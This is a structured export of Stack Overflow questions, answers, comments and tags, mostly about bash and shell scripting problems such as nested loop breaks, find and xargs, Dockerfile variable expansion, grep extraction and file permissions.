has comment: http://stackoverflow.com/comment/136069921
tagged with: for-loop
type: Question
tagged with: shell
score: 1
answer count: 1
favorite count: 0
has body: I decide to play around loop just to understand how loops work in bash. But I am the one who got played. All I know is the the break call helps to stop a particular loop echo "For loop begins" for (( a = 1; a < 10; a++ )) do echo -e "\tOuter loop ${a}" for (( b = 1; b < 100; b++ )) do if [[ ${b} -gt 5 ]] then break 2 fi echo -e "\t\tInner loop ${b}" done done echo "For loop completed" So fortunate that the break 2 call also breaks out of the outer loop. I already tried cahanging my for loop to for (( a = 1; a <= 10; a++ )) and the second one to for (( b = 1; b <= 100; b++ )) putting <= instead of < but I still get same output. genius@GeniusDPhil-hp250g1notebookpc:~$ ./loop.sh For loop begins Outer loop 1 Inner loop 1 Inner loop 2 Inner loop 3 Inner loop 4 Inner loop 5 For loop completed genius@GeniusDPhil-hp250g1notebookpc:~$ I was expecting the outer loop to run 10 times, does break also take me out of my outer loop? if yes how do I use break properly? if no the what's the issue? NOTE: The programmer in me is 3 months old.
tagged with: break
has title: Break out of inner loop in a nested loop (BASH)
tagged with: linux
has answer: http://stackoverflow.com/a/77184718
downvote count: 0
tagged with: bash

http://stackoverflow.com/q/77065180
answer count: 1
favorite count: 0
type: AnsweredQuestion
has title: Using printf in "find" command
score: 3
has body: With the following command, I want to find a specific file name, print its name and then compress it in-place with bzip2 command. The compression works but file name is not printed. $ find . -name *.sb.* -printf "%f\n" | xargs bzip2 $ ls foo.sb.txt.bzip2 $ How can I fix that?
type: Question
tagged with: shell
accepted answer: http://stackoverflow.com/a/77065288
upvote count: 3
has answer: http://stackoverflow.com/a/77065288
tagged with: find
tagged with: linux
downvote count: 0
tagged with: bash
has comment: http://stackoverflow.com/comment/135857612

http://stackoverflow.com/comment/136104934
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77199964
has text: I recommend that you post some actual permissions (`ls -ld`) listings of the indivdual parent-child directories and indlcate the userID that runs your `build.xml`. Good luck.

http://stackoverflow.com/comment/135977714
type: QuestionComment
comment on: http://stackoverflow.com/q/77129396
type: Comment
has text: have you checked for DOS line endings yet?
score: 0

http://stackoverflow.com/comment/135919700
has text: This can break if the variable values change. For example, try with `text="the customer's first year is: "`.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77089808
score: 0

http://stackoverflow.com/comment/136043913
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77170094
score: 0
has text: its dir only. its a variable for directory path. I include "_" only for space naming.

http://stackoverflow.com/a/77123187
score: 2
answers question: http://stackoverflow.com/q/77122685
has body: As Shawn points out, Expect has no problem to wait for multiple prompts in parallel. You need something like this: set name_answer {Joe Bloggs} set q1_answer {Stuff} set qb_answer {Other stuff} expect { NamePrompt {send "$name_answer\r"; exp_continue} Q1Prompt {send "$q1_answer\r"; exp_continue} QBPrompt {send "$qb_answer\r"; exp_continue} NextPrompt } Here NextPrompt would be something that indicates the end of this sequence of questions, so we break out of the loop. For more details check the documentation at https://www.tcl.tk/man/expect5.31/expect.1.html
upvote count: 2
downvote count: 0
type: Answer

http://stackoverflow.com/a/77122642
score: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/135958012
upvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/135958036
has body: What I would do to call lso alias from by ~/.bashrc: subprocess.run(["bash", "-ic", "lso"]) bash -i for interactive.
answers question: http://stackoverflow.com/q/77122565
has comment: http://stackoverflow.com/comment/135957976
has comment: http://stackoverflow.com/comment/135957962

http://stackoverflow.com/a/77121447
type: Answer
has comment: http://stackoverflow.com/comment/135961956
downvote count: 0
has comment: http://stackoverflow.com/comment/135956326
score: 3
has comment: http://stackoverflow.com/comment/135961590
upvote count: 3
answers question: http://stackoverflow.com/q/77121187
has body: The POSIX shell specification only defines a limited set of Special Parameters, $@, $*, $#, $?, $-, $$, $!, and $0. The default shell is a POSIX-compliant shell and not GNU bash (see for example this question) so other shell-specific extensions aren't available. $_ isn't one of the standard-defined special parameters, so it expands to an empty string. Since you haven't quoted the variable expansion either, the argument to cd just gets lost, and that's how you wind up in /root. In a Docker context more specifically, also remember that each RUN line starts a new shell in a new container, and parts of the shell context that change are lost. In particular RUN cd won't have a persistent effect. I might suggest using the Dockerfile WORKDIR directive to change directories WORKDIR /sample_dir RUN touch sample_file which will also create the directory if it doesn't exist.
has comment: http://stackoverflow.com/comment/135961556

http://stackoverflow.com/comment/136051051
type: Comment
type: AnswerComment
has text: Good call. I actually read that line break as accidental. Those details matter. :)
score: 1
comment on: http://stackoverflow.com/a/77173782

http://stackoverflow.com/q/77121773
has comment: http://stackoverflow.com/comment/135956490
tagged with: linux
has comment: http://stackoverflow.com/comment/135956526
has answer: http://stackoverflow.com/a/77121828
has comment: http://stackoverflow.com/comment/135956605
tagged with: bash
linked to: http://stackoverflow.com/q/45772525
score: 1
possible better answer: http://stackoverflow.com/a/77121821
upvote count: 1
favorite count: 0
has title: Read file names from a file and store file names and contents to another file with '|' as delimiter
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/77121813
has answer: http://stackoverflow.com/a/77121821
downvote count: 0
has body: How to read file names from a file and store file names and contents to another file with '|' as delimiter. I have a file called Filenames.txt, which stores names of text files. &gt; Cat Filenames.txt File1.txt File2.txt File3.txt &gt; Cat File1 This is content of File1 &gt; Cat File2 This is content of File2 &gt; Cat File3 This is content of File3 All these files Filenames.txt, File1.txt, File2.txt, File3.txt are stores in directory called TestDir. My expected output as follows, Generate a new file in the below format. &gt; Cat Outputfile.txt File1|This is content of File1 File2|This is content of File2 File3|This is content of File3 I tried the below code and getting some error, #!usr/bin/env bash file=$(cat Filenames.txt) y=$(pwd) for line in $file do x=$(cat &quot;${line}&quot;) echo -e &quot;${line}&quot;|&quot;${x}&quot; &gt;&gt; Outputfile.txt done Getting below error, $ bash Script.sh cat: 'file1.txt'$'\r': No such file or directory Script.sh: line 7: : command not found cat: 'file2.txt'$'\r': No such file or directory Script.sh: line 7: : command not found Script.sh: line 7: This is content of File3: command not found Current Output: test1_file | test2_file | test3_file| Note : I'm using Bash shell in Window machine Please help. Regards, Sooraj
type: Question
tagged with: shell
has comment: http://stackoverflow.com/comment/135956506
has answer: http://stackoverflow.com/a/77121813
tagged with: terminal
tagged with: unix
answer count: 3

http://stackoverflow.com/comment/136026142
comment on: http://stackoverflow.com/a/77160081
has text: I have edited to post to include output file information.
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/comment/135962514
has text: `echo AAA BBB | { read x y; echo "x: $x y: $y"; }` ??
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/77124682

http://stackoverflow.com/comment/135956326
type: AnswerComment
score: 0
has text: The OP does mention they tried to set `SHELL`, though they are not divulging what exactly they tried. Perhaps they used incorrect syntax or put the instruction in the wrong place.
type: Comment
comment on: http://stackoverflow.com/a/77121447

http://stackoverflow.com/comment/135936264
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/77110245
has text: I'm not a Linux user, let me see if I can find something. @Itération122442

http://stackoverflow.com/comment/135994369
score: 0
comment on: http://stackoverflow.com/q/77142682
has text: (`startDatetimeTrunc=${startDatetime%.*}`)
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/136058770
has text: In your workflow, you're only setting `name` env var but in the script you're using `username` and `creds` too. Where are they coming from?
score: 0
comment on: http://stackoverflow.com/q/77178372
type: QuestionComment
type: Comment

http://stackoverflow.com/q/77199964
has comment: http://stackoverflow.com/comment/136104934
has comment: http://stackoverflow.com/comment/136132690
tagged with: permissions
type: Question
tagged with: shell
type: UnansweredQuestion
has title: /data/log/error.log permission denied even though i set <chmod dir="${basedir}/../data" perm="777" includes="**/*"/>
has comment: http://stackoverflow.com/comment/136132891
has body: I am facing this issue, my build.xml looks like this <chmod dir="${basedir}/" perm="777" /> <chmod dir="${basedir}/logs" perm="777" /> <chmod dir="${basedir}/../data" perm="777" includes="**/*"/> But while loading the application, i face the below error /data/log/error.log couldn't be opened in appended mode: failed to open stream: permission denied i assume that the data directory have all the subdirectories and files assigned with permission 777 recursively using the below line <chmod dir="${basedir}/../data" perm="777" includes="**/*"/> The directory permissions: [root@staging ~]# ls -la /data/builds/application/build-0.2246/unzipped/data/log/ drwxrwxrwx 2 root root 38 Sep 26 15:38 . drwxrwxrwx 8 root root 115 Sep 26 15:37 .. -rw-r--r-- 1 root root 286437 Sep 27 06:25 error.log -rwxrwxrwx 1 root root 88723 Sep 27 06:25 event.log What was expected: the data/log/error.log should have 777 permissions and shouldn't face any permission issues What did i try: When i face this issue, i had to manually give the 777 permissions using terminal command
tagged with: centos
score: 0
has comment: http://stackoverflow.com/comment/136132874
answer count: 0
tagged with: linux
has comment: http://stackoverflow.com/comment/136132632
has comment: http://stackoverflow.com/comment/136104912
tagged with: ant

http://stackoverflow.com/comment/135849324
score: 1
has text: Since you already found this question, _why didn't you read the answers?_
comment on: http://stackoverflow.com/q/77060642
type: QuestionComment
type: Comment

http://stackoverflow.com/a/77154705
has body: when I run the code using &quot;./cpu A &amp; ./cpu B &amp; ./cpu C &amp; ./cpu D &amp;&quot; making multiple instances of the program run, and try using Ctrl + C, the code continues to run infinitely. I have read online that Ctrl + Z can work, but it doesn't help. The &amp; terminating each of those commands tells the shell to run the command in the background. The terminal does not send signal to background processes in response to you typing Ctrl+C or Ctrl+Z. Only the foreground process will receive such signals. Is there a way to end the 4 programs running without closing the terminal? Since the programs will not terminate normally on account of their unbounded looping, they will only die if you kill them. There are several ways you could do that, among them by looking up their process IDs with the ps command and then killing them with the kill command. one at a time, bringing them to the foreground via the fg command, where you can kill them with Ctrl+C. The latter is the easier of the two.
type: Answer
upvote count: 2
answers question: http://stackoverflow.com/q/77154642
score: 2
downvote count: 0

http://stackoverflow.com/a/77118888
has body: Replace: cmd /c "start cmd /k " $ParameterName with: # Asynchronously starts an interactive cmd.exe session in a *new window*, # in which the value of $ParameterName is executed as a command. Start-Process cmd "/k `"$ParameterName`"" This avoids the unnecessary cmd /c call and uses embedded "..." quoting (`"...`") around the value of $ParameterName to ensure that cmd.exe recognizes it a single argument even if it contains spaces. Start-Process is PowerShell's analog to cmd.exe's internal start command (and in PowerShell there's even a start alias for it).
answers question: http://stackoverflow.com/q/77118875
downvote count: 0
accepted answer of: http://stackoverflow.com/q/77118875
type: Answer
score: 4
upvote count: 4
type: AcceptedAnswer

http://stackoverflow.com/comment/135889497
has text: OK so `mdfind "ProjName" kind:folder` works, but it also returns subdirectories of "ProjName". Is there a way to exclude those subdirectories?
type: Comment
comment on: http://stackoverflow.com/q/77083171
score: 0
type: QuestionComment

http://stackoverflow.com/comment/136185093
type: QuestionComment
has text: @tripleee thanks for that, the BASH FAQ on mywiki.wooledge.org is very helpful indeed, posted it on my Linux forum in the "Linux Basics" thread to share the love and knowledge.
type: Comment
comment on: http://stackoverflow.com/q/77161643
score: 0

http://stackoverflow.com/comment/136049593
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/77171386
has text: As explained: to account for the footer and the two newline characters at the end of the header and footer.
type: Comment

http://stackoverflow.com/a/77083114
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/77082012
answers question: http://stackoverflow.com/q/77082012
type: Answer
has body: Without seeing the source of the image, I can only guess on what is occurring. The image by default will be starting up MQ, and your attempts at running runmqsc are interfering with that. You need to ensure that that script is allowed to run, and has had time to start up all its services, which will take longer than 2 seconds, before you execute your runmqsc command. After you execute your runmqsc you will need a no-op instruction that will keep the container running. If you were making use of icr.io/ibm-messaging/mq:latest then you could add .mqsc to /etc/mqm as suggested in the link provided by @David Maze What I think you are going have to do is add something like: (where runmqdevserver is the script that the current image runs.) entrypoint: ["/bin/bash", "-c"] command: - | runmqdevserver sleep 120 echo \"DEFINE QLOCAL(TEST_01.TEST.SOMETHING.DEV)\" | runmqsc TEST tail -f /dev/null to your DockerFile. By the way if runmqdevserver is what your image runs, then you could copy your mqsc script into /etc/mqm before running runmqdevserver as per the comment by David Maze.
score: 0

http://stackoverflow.com/comment/136077687
type: Comment
has text: If I delete `RUN microdnf -y install shadow-utils` I get the same error with the next line.
comment on: http://stackoverflow.com/q/77188462
score: 0
type: QuestionComment

fasta
tags question: http://stackoverflow.com/q/77097393
tag name: fasta
type: Tag

http://stackoverflow.com/a/77147775
answers question: http://stackoverflow.com/q/77147140
has comment: http://stackoverflow.com/comment/136009398
has body: If your shell script should work independently of whether or not the variable is in the environment, set it conditionally in the shell script: #!/usr/bin/env bash : ${NVM_USER:=xgqfrms} In this way, the caller of the script can decide, whether he wants to go with the default value, i.e. call the script as ./test.sh or override the value permanently in his own process, i.e. export NVM_USER=katharina ... ./test.sh ... ./test.sh or execute the script with one specific value for this variable: NVM_USER=audrey ./test.sh # Not using katharina this time In bash, a line of the form V=E C runs the command C in an environment, which is not just a copy of the environment of the parent process, but where the environment variable V is set to the value E. Hence in this example, NVM_USER is set to the value audrey in the environment of the process running test.sh, without affecting the setting of this variable in the calling process.
has comment: http://stackoverflow.com/comment/136009332
has comment: http://stackoverflow.com/comment/136005630
upvote count: 1
downvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/136008622
has comment: http://stackoverflow.com/comment/136005826
score: 0

http://stackoverflow.com/comment/136081017
type: AnswerComment
comment on: http://stackoverflow.com/a/77190915
score: 1
has text: @Hado99, remember, `test` is the name of a built-in command; it's expected not to have output (so when you don't export your function, you just are invoking the default test command with no arguments, and so get a silent failure with nothing printed)
type: Comment

http://stackoverflow.com/q/77204735
type: Question
type: AnsweredQuestion
downvote count: 1
linked to: http://stackoverflow.com/q/51087059
has answer: http://stackoverflow.com/a/77204784
accepted answer: http://stackoverflow.com/a/77204754
has title: How to get `grep` to emit the right side of 'URL=http://example.com'?
duplicate of: http://stackoverflow.com/q/51087059
score: -1
has answer: http://stackoverflow.com/a/77204754
upvote count: 0
tagged with: shell
tagged with: linux
tagged with: bash
favorite count: 0
answer count: 2
possible better answer: http://stackoverflow.com/a/77204784
has body: So I'm trying to grep the following file myfile.txt: [Section] URL=http://example.com I want it to return everything after the URL=, so only http://example.com. If I try any of the following, they do not work: &gt;grep -m1 -i 'url=' myfile.txt URL=http://example.com &gt;grep -m1 -i 'http.+*' myfile.txt URL=http://example.com &gt;grep -m1 -i -o 'http\.$' myfile.txt &gt;grep -m1 -i -o 'http\.*' myfile.txt http &gt;grep -m1 -i -o 'http\.*$' &gt; How can grep emit everything to the right of the equals symbol? It seems to refuse to match to the end of the line. And this will fail if the address happens to be anything other than 'http' (such as FTP, etc.) Additions: This is on Mabox (Manjaro, Arch) Linux. It might very well be possible with some specialized Mabox tool; however general GNU tools are assumed because the answer might apply to anyone else finding this question, such as on Alpine. So I'd prefer an answer to be general, and not platform-specific. grep was chosen simply because it should be possible, and easily emits a full matched line. grep claims to support regular expressions, so should be able to match to end-of-line. If another command would work better and/or simpler, that is fine; grep does not have to be used. But a standard command that works on the vast majority of Linuxes would be most helpful to others.

http://stackoverflow.com/comment/135902500
has text: There is no facility in `make` to prevent two instances of make from being invoked at the same time. So if you want such a facility you'll have to do it on your own, outside of `make` (that is, before you invoke `make`). There are many ways to do it, as Charles alludes to.
score: 3
type: QuestionComment
comment on: http://stackoverflow.com/q/77090384
type: Comment

http://stackoverflow.com/comment/136029734
type: Comment
has text: Iam running the script throught bash shell by tyoing this comand: ./script.sh &
score: 0
comment on: http://stackoverflow.com/q/77162327
type: QuestionComment

http://stackoverflow.com/comment/136108618
score: 1
type: QuestionComment
type: Comment
has text: If you want `$env` to be expanded, you don't want it in single-quotes (as on your last line).
comment on: http://stackoverflow.com/q/77206252

http://stackoverflow.com/comment/135849930
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/77060621
has text: That said, `-i` isn't ignore-case, it's "interactive", aka whether to prompt before overwriting preexisting files. `mv` only gets started **after** the shell has figured out which filenames to pass it as arguments, so an argument to mv can't possibly change whether that glob expression is case-sensitive. This is a shell configuration problem (in bash, the configuration knob to tweak is `nocaseglob`).
type: Comment

http://stackoverflow.com/comment/135964754
type: QuestionComment
has text: It's pointless to continue this discussion, unless you edit your question and show the exact shell commands you are using.
type: Comment
comment on: http://stackoverflow.com/q/77124990
score: 0

http://stackoverflow.com/q/77083073
type: UnansweredQuestion
has body: I have the following shared lib which is used inside a Jenkins pipeline. I expect the following output when iterating over the list firstDestionation secondDestionation instead I get [firstDestionation, secondDestionation] I do not understand why this happens. Where is my error? List<String> pushDestination = new ArrayList() String suffix = '' if (config.tagSuffix) { suffix = "-$config.tagSuffix" } if (config.imageTag) { List tagList = ParameterUtils.convertParameterToList(this, config.imageTag) tagList.each { tag -> String fullTag = "$tag$suffix" fullTag = fullTag.replace('{commitId}', commitId) pushDestination.add("firstDestination") } } if (config.get('createCommitTag', false).toBoolean()) { pushDestination.add("secondDestionation") } container('buildah') { sh """ for currentDestination in ${pushDestination}; do echo "currentDestination: \$currentDestination" done """ } }
has answer: http://stackoverflow.com/a/77084181
tagged with: jenkins
answer count: 1
has title: groovy inline shell script
tagged with: groovy
score: 0
type: Question
tagged with: shell

http://stackoverflow.com/q/77216118
has comment: http://stackoverflow.com/comment/136126204
answer count: 1
favorite count: 0
has body: As per documentation: ${string#substring} # strip shortest match ${string##substring} # strip longest match However, while testing I get: $ string="abcABC123ABCabc" $ echo ${string#a*C} 123ABCabc $ echo ${string##a*C} abc so far worked as expected, however... $ echo ${string#B*c} abcABC123ABCabc $ echo ${string##B*c} abcABC123ABCabc I would expect that the 3rd echo have returned abcABC123A (stripping away the shortest match) and the 4th would return abcA What is wrong there?
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/136126319
upvote count: 2
has comment: http://stackoverflow.com/comment/136126399
has comment: http://stackoverflow.com/comment/136126561
has answer: http://stackoverflow.com/a/77216491
type: Question
tagged with: shell
has title: Bash/ksh substring removal
has comment: http://stackoverflow.com/comment/136126468
accepted answer: http://stackoverflow.com/a/77216491
score: 2
tagged with: ksh
downvote count: 0
has comment: http://stackoverflow.com/comment/136126563
tagged with: bash

http://stackoverflow.com/comment/136075768
comment on: http://stackoverflow.com/q/77185980
type: QuestionComment
type: Comment
score: 0
has text: For instance, how would the output look for an array consisting of the two elements `(abc34def56 4711)`?

http://stackoverflow.com/comment/136073015
type: QuestionComment
score: 1
type: Comment
has text: Please post the exact error message. It's hard to answer "why" in relation to "not working". Your code is "working", just not the way _you_ expect it to. It doesn't behave the way you expect it to, because it is supposed to behave in that way.
comment on: http://stackoverflow.com/q/77186551

http://stackoverflow.com/a/77170849
answers question: http://stackoverflow.com/q/77170124
has body: something like this : stat -c %s test.csv | awk '{ printf "%.0f", $1 / 1024 / 1024 }' OR block_size=$(getconf PAGESIZE) file_size=$(wc -c < test.csv) mb_size=$((file_size / (1024 * block_size))) echo $mb_size OR ls -l --block-size=1M test.csv | awk '{ size=$5/1024; if (size>=1) printf "%.0f\n", size; else printf "0\n" }'
has comment: http://stackoverflow.com/comment/136047878
upvote count: 1
downvote count: 1
type: Answer
score: 0

http://stackoverflow.com/comment/136034648
has text: Also indicate which program that you call where *"data for the given ncbi sra id but (it) fails"* AND how you know (and where does it happen) that *"fails due to network issue"*. AND There seems to be too much code here; Please read about [mcve] and read the section [How to turn a bad script into a good questions](https://stackoverflow.com/tags/bash/info). (this advice applies to all languages, not just bash). Also https://shellcheck.net is the first place to figure out syntax problems. Be sure to include #!/bin/bash (or other) as your first line of scripting. Good luck.
type: QuestionComment
type: Comment
score: 1
comment on: http://stackoverflow.com/q/77164954

http://stackoverflow.com/a/77156903
type: Answer
answers question: http://stackoverflow.com/q/77156832
has body: I'm not familiar with sshpass so I can't say anything about the validity of the command-line and options itself, but I would separate the commands and remove the eval: export SSHPASS="$password" SERVERVER="$(sshpass -e ssh "$username@$IP" -o "ConnectTimeout 3" "uname -sn")" The rouge \r could be removed with tr: for IP in $(tr -d '\r' < "$1") do ... done
accepted answer of: http://stackoverflow.com/q/77156832
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/136020780
score: 0
has comment: http://stackoverflow.com/comment/136020977

special-characters
tag name: special-characters
tags question: http://stackoverflow.com/q/77152224
type: Tag

http://stackoverflow.com/comment/136111332
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77205722
has text: @ jhnc OMG, it's very hard for reading solution. Ok, can you suggest, how I can check files and return a non-zero exit code in an one-script solution in this case: `xargs -a file_list.txt -I file_name find . -name file_name -type f > file_paths.txt` I think it would be better to split the script into at least two lines :)
score: 0

http://stackoverflow.com/comment/136093194
has text: `/etc/php/8.2/cli/php.ini` is for the command line interface (CLI) and this is what is already working. So it’s not this INI file that you have to edit. Did the `phpinfo()` call show you in the web page what is set to `disable_functions`? It should also have shown you which INI file is loaded. You could also do a recursive search under `/etc/php/8.2/` to see which files contains these settings. And what does the log show? What does `shell_exec()` return? First try a simple `shell_exec('ls -al')` to see if it lists the current directory. Advance step by step to investigate where the problem is.
type: AnswerComment
comment on: http://stackoverflow.com/a/77193269
score: 0
type: Comment

http://stackoverflow.com/comment/136049345
type: AnswerComment
has text: I didn' know that , thanks for information
comment on: http://stackoverflow.com/a/77170238
type: Comment
score: 0

http://stackoverflow.com/a/77084613
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/135929184
has comment: http://stackoverflow.com/comment/135892570
has body: The proper way, without debugging garbage: set -v . include/this/script.sh . include/this/other/script.sh
has comment: http://stackoverflow.com/comment/135932278
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/77084586
answers question: http://stackoverflow.com/q/77084586
type: Answer

http://stackoverflow.com/comment/136047043
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77171720
has text: I'm also noticing the `Defaulted container ...` message; does specifying `-c backstage-backend` help you? What's your higher-level goal with this `docker exec` command?
score: 0

swift
tags question: http://stackoverflow.com/q/77133895
tag name: swift
type: Tag
tags question: http://stackoverflow.com/q/78994709
tags question: http://stackoverflow.com/q/79220267

http://stackoverflow.com/comment/136037359
score: 0
type: Comment
has text: Sorry, I have uploaded my code@KlausD.
comment on: http://stackoverflow.com/q/77165700
type: QuestionComment

http://stackoverflow.com/comment/136104976
type: Comment
comment on: http://stackoverflow.com/q/77203420
has text: @todd_dsm - glad you do ... let us know how that worked for you! =)
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135958237
type: AnswerComment
score: 1
comment on: http://stackoverflow.com/a/77122428
has text: The kernel is a library of code shared by the processes. The kernel creates the concept of a process: a collection of resources assembled in a kind of container, which is assigned a PID. The kernel operates outside of that. At least a monolithic kernel like most Unixes including Linux. There are operating systems in which there is a very small kernel ("microkernel") just for process management and then all the subsystems are processes.
type: Comment

http://stackoverflow.com/q/77121187
possible better answer: http://stackoverflow.com/a/77121447
answer count: 2
accepted answer: http://stackoverflow.com/a/77121277
has title: Interpretation of special shell variables in Dockerfile
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/20635472
has comment: http://stackoverflow.com/comment/135961610
has comment: http://stackoverflow.com/comment/135955855
has body: I'm a docker newbie and I'm learning how to write Dockerfile. I've been experimenting with different ways of writing RUN instructions, and I've come across some behavior that I don't understand why, so I'd like to know about it. When I built and run the following Dockerfile.v1, the sample_file exists in the sample_dir. This is as expected. FROM ubuntu:latest RUN mkdir sample_dir && cd sample_dir && touch sample_file Then, I decided to use shell variables for general purpose writing, I created the following Dockerfile.v2 and RUN. FROM ubuntu:latest RUN mkdir sample_dir && cd $_ && touch sample_file Then, sample_file was created in /root, which is not what I expected. Since the sample_dir itself was created in /, I assume WORKING DIRECTORY is /. Why was it created in the root user's home directory? How was $_ interpreted? ❯ docker run -it --rm 1ce bash 2023/09/17 18:01:16 root@2ce4010e4613:/# root@2ce4010e4613:/# ll total 60 drwxr-xr-x 1 root root 4096 Sep 17 09:01 ./ drwxr-xr-x 1 root root 4096 Sep 17 09:01 ../ -rwxr-xr-x 1 root root 0 Sep 17 09:01 .dockerenv* lrwxrwxrwx 1 root root 7 Aug 16 02:25 bin -> usr/bin/ drwxr-xr-x 2 root root 4096 Apr 18 2022 boot/ drwxr-xr-x 5 root root 360 Sep 17 09:01 dev/ drwxr-xr-x 1 root root 4096 Sep 17 09:01 etc/ drwxr-xr-x 2 root root 4096 Apr 18 2022 home/ lrwxrwxrwx 1 root root 7 Aug 16 02:25 lib -> usr/lib/ drwxr-xr-x 2 root root 4096 Aug 16 02:25 media/ drwxr-xr-x 2 root root 4096 Aug 16 02:25 mnt/ drwxr-xr-x 2 root root 4096 Aug 16 02:25 opt/ dr-xr-xr-x 212 root root 0 Sep 17 09:01 proc/ drwx------ 1 root root 4096 Sep 17 07:39 root/ drwxr-xr-x 5 root root 4096 Aug 16 04:54 run/ drwxr-xr-x 2 root root 4096 Sep 17 07:39 sample_dir/ lrwxrwxrwx 1 root root 8 Aug 16 02:25 sbin -> usr/sbin/ drwxr-xr-x 2 root root 4096 Aug 16 02:25 srv/ dr-xr-xr-x 13 root root 0 Sep 17 09:01 sys/ drwxrwxrwt 2 root root 4096 Aug 16 04:52 tmp/ drwxr-xr-x 11 root root 4096 Aug 16 02:25 usr/ drwxr-xr-x 11 root root 4096 Aug 16 04:52 var/ root@2ce4010e46…
has answer: http://stackoverflow.com/a/77121277
tagged with: dockerfile
tagged with: docker
score: 0
type: Question
has comment: http://stackoverflow.com/comment/135955897
tagged with: shell
has answer: http://stackoverflow.com/a/77121447

http://stackoverflow.com/comment/136038145
has text: `sleep 60 >&3 &` doesn't change anything meaningful. The `>&3` is short for `1>&3`, which is why you see FD 3 copied to FD 1 for the `sleep` process, but that doesn't have anything to do with why your second grep doesn't work.
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/77166714
type: Comment

http://stackoverflow.com/comment/136118365
comment on: http://stackoverflow.com/q/77211940
type: Comment
score: 0
has text: [Please do not upload images of code/data/errors when asking a question.](//meta.stackoverflow.com/q/285551)
type: QuestionComment

http://stackoverflow.com/comment/135912050
has text: In the second command, you just write `export CI`, so the variable exists and placed into the envionment, but does not get a value. Therefore script.sh prints an empty line..
type: Comment
comment on: http://stackoverflow.com/q/77096305
score: 0
type: QuestionComment

http://stackoverflow.com/comment/136027228
type: Comment
comment on: http://stackoverflow.com/q/77124682
score: 0
type: QuestionComment
has text: You could use: `<<< "$(echo AAA BBB)" read X Y`, passing in a herestring.

http://stackoverflow.com/comment/135994850
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/77142984
has text: Thank you, it worked. Accepting this as an answer!

http://stackoverflow.com/comment/135930941
comment on: http://stackoverflow.com/q/77106862
type: QuestionComment
has text: Give a full path to the file `rangeip.txt` or use `chdir` to change to the folder where the file is located. https://docs.ansible.com/ansible/latest/collections/ansible/builtin/shell_module.html#parameter-chdir
score: 2
type: Comment

godot4
tags question: http://stackoverflow.com/q/77216250
tag name: godot4
type: Tag

escaping
type: Tag
tags question: http://stackoverflow.com/q/77161643
tag name: escaping
tags question: http://stackoverflow.com/q/77334146
tags question: http://stackoverflow.com/q/77642099
tags question: http://stackoverflow.com/q/77607461
tags question: http://stackoverflow.com/q/77628265
tags question: http://stackoverflow.com/q/77944543
tags question: http://stackoverflow.com/q/78257612
tags question: http://stackoverflow.com/q/78193697
tags question: http://stackoverflow.com/q/78372273
tags question: http://stackoverflow.com/q/78334264
tags question: http://stackoverflow.com/q/79009608

http://stackoverflow.com/comment/135875169
type: QuestionComment
has text: I'm not familiar with Helios, but is it possible that your script is being run in a non-Bash shell that doesn't support arrays, or in a very old version of Bash that doesn't support arrays?
type: Comment
comment on: http://stackoverflow.com/q/77075130
score: 1

http://stackoverflow.com/q/77105912
has title: How to check hidden files in IntelliJ
tagged with: intellij-idea
has comment: http://stackoverflow.com/comment/135932087
type: Question
has body: In Normal Command prompt, for "ls -a", we will get all the files and Hidden files as well. But in IntelliJ Command prompt, how to do this?
tagged with: java
has comment: http://stackoverflow.com/comment/135928924
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135936363
has comment: http://stackoverflow.com/comment/135936365
has comment: http://stackoverflow.com/comment/135929213
has comment: http://stackoverflow.com/comment/135928689
tagged with: command-line
score: 0
has comment: http://stackoverflow.com/comment/135937236
answer count: 0
tagged with: intellij-plugin
tagged with: shell
has comment: http://stackoverflow.com/comment/135928872

http://stackoverflow.com/comment/135968709
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77124913
score: 1
has text: @stevesliva thanks for comment,. I've edited my answer, adding a link to them!

http://stackoverflow.com/a/77230166
accepted answer of: http://stackoverflow.com/q/77226745
type: Answer
score: 0
has comment: http://stackoverflow.com/comment/136151678
type: AcceptedAnswer
has body: You need to use an option in your Rundeck job to pass it to your script (use the @option.myoption@ format in inline-scripts steps or $RD_OPTION_MYOPTION format on "external scripts" steps). In that way, you can pass any value to your script. I left a job definition example tested on local and remote SSH nodes, this example uses your script as inline-script step. Take a look: - defaultTab: nodes description: '' executionEnabled: true id: 11dec4c7-4514-42e3-baef-d777ba1294de loglevel: INFO name: TestCronString nodeFilterEditable: false nodefilters: dispatch: excludePrecedence: true keepgoing: false rankOrder: ascending successOnEmptyNodeFilter: false threadcount: '1' filter: .* nodesSelectedByDefault: true options: - name: expression value: 0 * * * * plugins: ExecutionLifecycle: null scheduleEnabled: true sequence: commands: - fileExtension: .sh interpreterArgsQuoted: false script: | #!/bin/bash cron_expression="@option.expression@" echo "Crontab expression: $cron_expression" scriptInterpreter: /bin/bash keepgoing: false strategy: node-first uuid: 11dec4c7-4514-42e3-baef-d777ba1294de Check the result here.
has comment: http://stackoverflow.com/comment/136152231
answers question: http://stackoverflow.com/q/77226745

http://stackoverflow.com/comment/136156052
score: 0
comment on: http://stackoverflow.com/q/77231881
type: QuestionComment
type: Comment
has text: You said this was like SSH, but it's the opposite of SSH.

